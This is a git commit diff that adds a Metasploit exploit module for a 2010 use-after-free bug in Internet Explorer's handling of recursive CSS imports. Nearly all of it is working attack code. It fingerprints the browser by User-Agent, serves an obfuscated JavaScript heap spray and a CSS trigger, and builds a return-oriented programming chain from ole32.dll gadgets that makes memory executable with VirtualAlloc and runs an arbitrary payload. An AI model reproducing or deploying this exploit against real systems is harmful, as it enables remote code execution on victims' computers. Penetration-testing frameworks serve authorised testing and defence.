add exploit for unpatched IE css import bug
git-svn-id: file:///home/svn/framework3/trunk@11383 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
b8b0e1af97
commit
5d2f26b41b
|
@ -0,0 +1,433 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = GoodRanking # Need more love for Great
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
include Msf::Exploit::Remote::BrowserAutopwn
|
||||||
|
autopwn_info({
|
||||||
|
:ua_name => HttpClients::IE,
|
||||||
|
:ua_minver => "7.0", # Should be 6
|
||||||
|
:ua_maxver => "8.0",
|
||||||
|
:javascript => true,
|
||||||
|
:os_name => OperatingSystems::WINDOWS,
|
||||||
|
:vuln_test => nil, # no way to test without just trying it
|
||||||
|
})
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Internet Explorer CSS Recursive Import Use After Free',
|
||||||
|
'Description' => %q{
|
||||||
|
Thie module exploits a memory corruption vulnerability within Microsoft\'s
|
||||||
|
HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
|
||||||
|
import, a C++ object is deleted and later reused. This leads to arbitrary
|
||||||
|
code execution.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'WooYun', # Initial discovery / report
|
||||||
|
'd0c_s4vage', # First working public exploit
|
||||||
|
'jduck' # Metasploit module (ROP, @WTFuzz spray)
|
||||||
|
],
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
#[ 'CVE', '2010-????' ],
|
||||||
|
[ 'OSVDB', '69796' ],
|
||||||
|
[ 'BID', '45246' ],
|
||||||
|
#[ 'URL', 'http://www.microsoft.com/technet/security/advisory/XXXXXX.mspx' ],
|
||||||
|
[ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],
|
||||||
|
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],
|
||||||
|
[ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ]
|
||||||
|
#[ 'MSB', 'MS11-XXX' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'process',
|
||||||
|
'InitialAutoRunScript' => 'migrate -f',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 1024,
|
||||||
|
'BadChars' => "\x00",
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { } ],
|
||||||
|
|
||||||
|
[ 'Internet Explorer 8',
|
||||||
|
{
|
||||||
|
'Ret' => 0x105ae020,
|
||||||
|
'OnePtrOff' => 0x18,
|
||||||
|
'DerefOff' => 0x30,
|
||||||
|
'FlagOff' => 0x54,
|
||||||
|
'CallDeref1' => 0x20,
|
||||||
|
'SignedOff' => 0x1c,
|
||||||
|
'CallDeref2' => 0x24,
|
||||||
|
'CallDeref3' => 0x00,
|
||||||
|
'CallDeref4' => 0x20,
|
||||||
|
'Deref4Off' => 0x08
|
||||||
|
}
|
||||||
|
],
|
||||||
|
|
||||||
|
[ 'Internet Explorer 7',
|
||||||
|
{
|
||||||
|
'Ret' => 0x105ae020,
|
||||||
|
'OnePtrOff' => 0x14,
|
||||||
|
'DerefOff' => 0x5c,
|
||||||
|
'FlagOff' => 0x34,
|
||||||
|
'CallDeref1' => 0x1c,
|
||||||
|
'SignedOff' => 0x18,
|
||||||
|
'CallDeref2' => 0x20,
|
||||||
|
'CallDeref3' => 0x00,
|
||||||
|
'CallDeref4' => 0x20,
|
||||||
|
'Deref4Off' => 0x08
|
||||||
|
}
|
||||||
|
],
|
||||||
|
|
||||||
|
# For now, treat the IE6 target the same as teh debug target.
|
||||||
|
[ 'Internet Explorer 6',
|
||||||
|
{
|
||||||
|
'Ret' => 0xc0c0c0c0,
|
||||||
|
'OnePtrOff' => 0x14,
|
||||||
|
'DerefOff' => 0x5c,
|
||||||
|
'FlagOff' => 0x34,
|
||||||
|
'CallDeref1' => 0x1c,
|
||||||
|
'SignedOff' => 0x18,
|
||||||
|
'CallDeref2' => 0x20,
|
||||||
|
'CallDeref3' => 0x00,
|
||||||
|
'CallDeref4' => 0x20,
|
||||||
|
'Deref4Off' => 0x08
|
||||||
|
}
|
||||||
|
],
|
||||||
|
|
||||||
|
[ 'Debug Target (Crash)',
|
||||||
|
{
|
||||||
|
'Ret' => 0xc0c0c0c0,
|
||||||
|
'OnePtrOff' => 0,
|
||||||
|
'DerefOff' => 4,
|
||||||
|
'FlagOff' => 8,
|
||||||
|
'CallDeref1' => 0xc,
|
||||||
|
'SignedOff' => 0x10,
|
||||||
|
'CallDeref2' => 0x14,
|
||||||
|
'CallDeref3' => 0x18,
|
||||||
|
'CallDeref4' => 0x1c,
|
||||||
|
'Deref4Off' => 0x20
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
# Full-disclosure post was Dec 8th, original blog Nov 29th
|
||||||
|
'DisclosureDate' => 'Nov 29 2010',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptBool.new('OldOle32', [ true, 'Whether the target has MS10-083 or not.', false ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def auto_target(cli, request)
|
||||||
|
mytarget = nil
|
||||||
|
|
||||||
|
agent = request.headers['User-Agent']
|
||||||
|
print_status("Checking user agent: #{agent}")
|
||||||
|
if agent =~ /MSIE 6\.0/
|
||||||
|
mytarget = targets[3]
|
||||||
|
elsif agent =~ /MSIE 7\.0/
|
||||||
|
mytarget = targets[2]
|
||||||
|
elsif agent =~ /MSIE 8\.0/
|
||||||
|
mytarget = targets[1]
|
||||||
|
else
|
||||||
|
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
|
||||||
|
end
|
||||||
|
mytarget
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
|
||||||
|
print_status("Received request for %s" % request.uri.inspect)
|
||||||
|
|
||||||
|
mytarget = target
|
||||||
|
if target.name == 'Automatic'
|
||||||
|
mytarget = auto_target(cli, request)
|
||||||
|
if (not mytarget)
|
||||||
|
send_not_found(cli)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
buf_addr = mytarget.ret
|
||||||
|
css_name = [buf_addr].pack('V') * (16 / 4)
|
||||||
|
|
||||||
|
# We stick in a placeholder string to replace after UTF-16 encoding
|
||||||
|
placeholder = "a" * (css_name.length / 2)
|
||||||
|
uni_placeholder = Rex::Text.to_unicode(placeholder)
|
||||||
|
|
||||||
|
if request.uri == get_resource() or request.uri =~ /\/$/
|
||||||
|
print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
|
||||||
|
|
||||||
|
redir = get_resource()
|
||||||
|
redir << '/' if redir[-1,1] != '/'
|
||||||
|
redir << rand_text_alphanumeric(4+rand(4))
|
||||||
|
redir << '.html'
|
||||||
|
send_redirect(cli, redir)
|
||||||
|
|
||||||
|
elsif request.uri =~ /\.html?$/
|
||||||
|
# Re-generate the payload
|
||||||
|
return if ((p = regenerate_payload(cli)) == nil)
|
||||||
|
|
||||||
|
print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
|
||||||
|
|
||||||
|
# Generate the ROP payload
|
||||||
|
# We need a different set of RVAs without MS10-083. Can we detect this remotely?
|
||||||
|
if datastore['OldOle32']
|
||||||
|
rvas = rvas_pre()
|
||||||
|
else
|
||||||
|
rvas = rvas_post()
|
||||||
|
end
|
||||||
|
rop_stack = generate_rop(buf_addr, rvas)
|
||||||
|
fix_esp = rva2addr(rvas, 'ret 0x38')
|
||||||
|
ret = rva2addr(rvas, 'ret')
|
||||||
|
pivot = rva2addr(rvas, 'xchg eax, esp / ret')
|
||||||
|
|
||||||
|
# Append the payload to the rop_stack
|
||||||
|
rop_stack << p.encoded
|
||||||
|
|
||||||
|
# Build the deref-fest buffer
|
||||||
|
len = 0x84 + rop_stack.length
|
||||||
|
special_sauce = rand_text_alpha(len)
|
||||||
|
|
||||||
|
# This ptr + off must contain 0x00000001
|
||||||
|
special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')
|
||||||
|
|
||||||
|
# Pointer that is dereferenced to get the flag
|
||||||
|
special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')
|
||||||
|
|
||||||
|
# Low byte must not have bit 1 set
|
||||||
|
no_bit1 = rand(0xffffffff) & ~2
|
||||||
|
special_sauce[mytarget['FlagOff'], 4] = [no_bit1].pack('V')
|
||||||
|
|
||||||
|
# These are deref'd to figure out what to call
|
||||||
|
special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')
|
||||||
|
special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')
|
||||||
|
special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')
|
||||||
|
# Finally, this one becomes eip
|
||||||
|
special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot].pack('V')
|
||||||
|
|
||||||
|
# This byte must be signed (shorter path to flow control)
|
||||||
|
signed_byte = rand(0xff) | 0x80
|
||||||
|
special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')
|
||||||
|
|
||||||
|
# These offsets become a fix_esp ret chain ..
|
||||||
|
special_sauce[0x08, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)
|
||||||
|
special_sauce[0x0c, 4] = [fix_esp].pack('V') # part two of fixing esp (two esp+=0x3c)
|
||||||
|
special_sauce[0x48, 4] = [ret].pack('V') # ropnop, continue as ESP is where we want it now.
|
||||||
|
|
||||||
|
# Add in the rest of the ROP stack
|
||||||
|
special_sauce[0x84, rop_stack.length] = rop_stack
|
||||||
|
|
||||||
|
# Format for javascript use
|
||||||
|
special_sauce = Rex::Text.to_unescape(special_sauce)
|
||||||
|
|
||||||
|
# Construct the javascript
|
||||||
|
custom_js = <<-EOS
|
||||||
|
function prepare() {
|
||||||
|
heap = new heapLib.ie(0x20000);
|
||||||
|
var heapspray = unescape("#{special_sauce}");
|
||||||
|
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
|
||||||
|
var heapblock = heapspray;
|
||||||
|
while(heapblock.length < 0x40000) heapblock += heapblock;
|
||||||
|
finalspray = heapblock.substring(2, 0x40000 - 0x21);
|
||||||
|
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
|
||||||
|
}
|
||||||
|
|
||||||
|
function start() {
|
||||||
|
prepare();
|
||||||
|
var vlink = document.createElement("link");
|
||||||
|
vlink.setAttribute("rel", "Stylesheet");
|
||||||
|
vlink.setAttribute("type", "text/css");
|
||||||
|
vlink.setAttribute("href", "#{placeholder}")
|
||||||
|
document.getElementsByTagName("head")[0].appendChild(vlink);
|
||||||
|
}
|
||||||
|
EOS
|
||||||
|
opts = {
|
||||||
|
'Symbols' => {
|
||||||
|
'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },
|
||||||
|
'Methods' => %w{ prepare }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
|
||||||
|
js = heaplib(custom_js)
|
||||||
|
|
||||||
|
# Construct the final page
|
||||||
|
html = <<-EOS
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<script language='javascript'>
|
||||||
|
#{js}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body onload='start()'>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOS
|
||||||
|
html = "\xff\xfe" + Rex::Text.to_unicode(html)
|
||||||
|
html.gsub!(uni_placeholder, css_name)
|
||||||
|
|
||||||
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||||
|
|
||||||
|
else
|
||||||
|
css = <<-EOS
|
||||||
|
@import url("#{placeholder}");
|
||||||
|
@import url("#{placeholder}");
|
||||||
|
@import url("#{placeholder}");
|
||||||
|
@import url("#{placeholder}");
|
||||||
|
EOS
|
||||||
|
css = "\xff\xfe" + Rex::Text.to_unicode(css)
|
||||||
|
css.gsub!(uni_placeholder, css_name)
|
||||||
|
|
||||||
|
print_status("Sending #{self.refname} CSS to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
|
||||||
|
|
||||||
|
send_response(cli, css, { 'Content-Type' => 'text/css' })
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Handle the payload
|
||||||
|
handler(cli)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def rvas_post()
|
||||||
|
# ole32.dll version 5.1.2600.6010, post MS10-083
|
||||||
|
# Just return this hash
|
||||||
|
{
|
||||||
|
'xchg eax, esp / ret' => 0x7b60e,
|
||||||
|
'ret 0x38' => 0x607f1,
|
||||||
|
'ret' => 0x7b60e+1,
|
||||||
|
'push eax / ret' => 0x1d1e4,
|
||||||
|
'pop eax / ret' => 0x58cab,
|
||||||
|
'pop ebx / ret' => 0x1da39,
|
||||||
|
'pop ecx / ret' => 0x50479,
|
||||||
|
'mov eax, [eax] / ret' => 0x22a20,
|
||||||
|
'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x360b9,
|
||||||
|
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd87c2,
|
||||||
|
'add edi, [ebx] / ret' => 0x2cc26,
|
||||||
|
'rep movsb / pop edi / pop esi / ret' => 0x372c6,
|
||||||
|
'call [ebx]' => 0x2ad9
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def rvas_pre()
|
||||||
|
# ole32.dll version 5.1.2600.5512, pre MS10-083
|
||||||
|
# Just return this hash
|
||||||
|
{
|
||||||
|
'xchg eax, esp / ret' => 0x7b5e6,
|
||||||
|
'ret 0x38' => 0x607c7,
|
||||||
|
'ret' => 0x7b5e6+1,
|
||||||
|
'push eax / ret' => 0x1d264,
|
||||||
|
'pop eax / ret' => 0x1af34,
|
||||||
|
'pop ebx / ret' => 0x1dae4,
|
||||||
|
'pop ecx / ret' => 0x4f82a,
|
||||||
|
'mov eax, [eax] / ret' => 0x22ef3,
|
||||||
|
'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x36589,
|
||||||
|
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd858a,
|
||||||
|
'add edi, [ebx] / ret' => 0x2d0f6,
|
||||||
|
'rep movsb / pop edi / pop esi / ret' => 0x37796,
|
||||||
|
'call [ebx]' => 0x2ad9
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_rop(buf_addr, rvas)
|
||||||
|
# ROP fun! (XP SP3 English, Dec 15 2010)
|
||||||
|
rvas.merge!({
|
||||||
|
# Instructions / Name => RVA
|
||||||
|
'BaseAddress' => 0x774e0000,
|
||||||
|
'imp_VirtualAlloc' => 0x1448,
|
||||||
|
'Writable' => 0x12719c
|
||||||
|
})
|
||||||
|
|
||||||
|
rop_stack = [
|
||||||
|
# Allocate an RWX memory segment
|
||||||
|
'pop eax / ret',
|
||||||
|
'imp_VirtualAlloc',
|
||||||
|
|
||||||
|
'mov eax, [eax] / ret',
|
||||||
|
'push eax / ret',
|
||||||
|
'ret',
|
||||||
|
0, # lpAddress
|
||||||
|
0x1000, # dwSize
|
||||||
|
0x3000, # flAllocationType
|
||||||
|
0x40, # flProt
|
||||||
|
|
||||||
|
# Copy the original payload
|
||||||
|
'pop ecx / ret',
|
||||||
|
'Writable',
|
||||||
|
|
||||||
|
'mov [ecx], eax / xor eax, eax / pop esi / ret',
|
||||||
|
:memcpy_src,
|
||||||
|
|
||||||
|
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4',
|
||||||
|
:unused,
|
||||||
|
|
||||||
|
'pop ebx / ret',
|
||||||
|
:unused,
|
||||||
|
'Writable',
|
||||||
|
|
||||||
|
'add edi, [ebx] / ret',
|
||||||
|
|
||||||
|
'pop ecx / ret',
|
||||||
|
0x200,
|
||||||
|
|
||||||
|
'rep movsb / pop edi / pop esi / ret',
|
||||||
|
:unused,
|
||||||
|
:unused,
|
||||||
|
|
||||||
|
# Execute the payload ;)
|
||||||
|
'call [ebx]'
|
||||||
|
]
|
||||||
|
|
||||||
|
rop_stack.map! { |e|
|
||||||
|
if e.kind_of? String
|
||||||
|
# Meta-replace (RVA)
|
||||||
|
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
|
||||||
|
rvas['BaseAddress'] + rvas[e]
|
||||||
|
|
||||||
|
elsif e == :unused
|
||||||
|
# Randomize
|
||||||
|
rand_text(4).unpack('V').first
|
||||||
|
|
||||||
|
elsif e == :memcpy_src
|
||||||
|
# Based on stack length..
|
||||||
|
buf_addr + 0x84 + (rop_stack.length * 4)
|
||||||
|
|
||||||
|
else
|
||||||
|
# Literal
|
||||||
|
e
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
rop_stack.pack('V*')
|
||||||
|
end
|
||||||
|
|
||||||
|
def rva2addr(rvas, key)
|
||||||
|
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
|
||||||
|
rvas['BaseAddress'] + rvas[key]
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue